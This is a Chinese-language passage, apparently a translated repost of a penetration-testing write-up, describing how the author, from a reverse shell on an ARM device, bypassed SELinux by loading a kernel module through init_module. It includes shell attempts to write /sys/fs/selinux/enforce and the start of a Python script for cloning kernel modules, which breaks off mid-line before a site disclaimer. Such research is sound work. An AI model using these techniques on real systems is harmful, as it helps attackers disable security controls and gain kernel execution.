前言
加载内核模块有两个Linux 系统调用- init_module 和 finit_module。通过利用 init_module,我绕过了基于文件系统的 SELinux 规则,该规则阻止我通过传统方式(例如 insmod)加载内核模块。然后,我从 kernel-space 禁用了 SELinux。
为了避免透露目标实现的不必要细节,在下面的描述中,文件名和 SELinux 上下文等信息已被修改。一些代码片段和 shell 输出列表也为了简洁而被截断(用“[...]”表示)。
Selinux
连接到我的反向 shell 后,我很快意识到系统启用了SELinux。虽然该策略远没有你在典型 Android 设备上可能找到的标准策略那么严格,但它已经严格到足以阻止我做很多有用的事情(例如,挂载文件系统和访问 /etc/ 中的文件)。幸运的是,我能够在 /tmp/ 中写入和执行文件,所以我仍然有一种简单的方法来构建和运行自定义工具。
开发人员在从文件系统中删除不必要的用户空间二进制文件方面做得很好,因此标准的 SELinux 工具(getenforce、setenforce、sestatus 等)不可用。当我尝试手动与 SELinux 的 enforce 文件交互时,我无法做到这一点。
# ls -la /sys/fs/selinux/enforce
ls: /sys/fs/selinux/enforce: Permission denied
# cat /sys/fs/selinux/enforce
cat: can't open '/sys/fs/selinux/enforce': Permission denied
# echo 0 > /sys/fs/selinux/enforce
/bin/sh: can't create /sys/fs/selinux/enforce: Permission denied
系统日志检查表明,SELinux 阻止了这一情况。
# dmesg | grep audit
[...]
[ 57.800935] audit: type=1400 audit(1684520112.159:6): avc: denied { write } for pid=524 comm="sh" name="enforce" dev="selinuxfs" ino=4 scontext=system_u:object_r:userapp_t tcontext=system_u:object_r:security_t tclass=file permissive=0
[...]
内核模块
在尝试了许多此处未描述的失败技术后,我决定看看是否能获得内核执行权限。有了内核执行权限,我不一定需要禁用 SELinux,但如果我想在用户空间做任何事情,禁用SELinux是比较方便的。
获得内核执行的最简单方法是加载一个内核模块。该设备运行在 ARM 处理器上,所以我认为交叉编译一个自定义内核模块会有很多工作要做,并且除非我确定可以加载模块,否则我不想付出那么多努力。我决定首先制作一个简单的概念验证模块,在加载时打印到系统日志中,从而证明内核执行。
我使用以下脚本从设备文件系统中快速克隆了一个现有的内核模块,
#!/usr/bin/env python3
# Author: Sean Pesce
#
# This script can be used to duplicate a loadable Linux kernel module file (*.ko).
# The newly-created file will have unique export and module name strings to facilitate
# patching and loading onto a system when normal module development isn't feasible
# (e.g., when creating a PoC exploit for a proprietary system).
#
# Install prerequisites:
# sudo apt install -y python3 python3-pip
# sudo pip3 install argparse pyelftools
import argparse
import os
from elftools.elf.elffile import ELFFile
from random import randrange
# Characters that can be used for the first character in a symbol string
SYM_ALPHA_START = '_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# Characters that can be used after the first character in a symbol string
SYM_ALPHA = SYM_ALPHA_START + '0123456789'
def random_character(alphabet):
return alphabet[randrange(len(alphabet))]
def random_symbol_name(length=5):
if length < 1:
return ''
symbol = random_character(SYM_ALPHA_START)
while len(symbol) < length:
symbol += random_character(SYM_ALPHA)
return symbol
def check_module_name(name):
if len(name) < 1:
raise argparse.ArgumentTypeError('Module name can\'t be empty')
if name[0] not in SYM_ALPHA_START:
raise argparse.ArgumentTypeError(f'Invalid charac
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)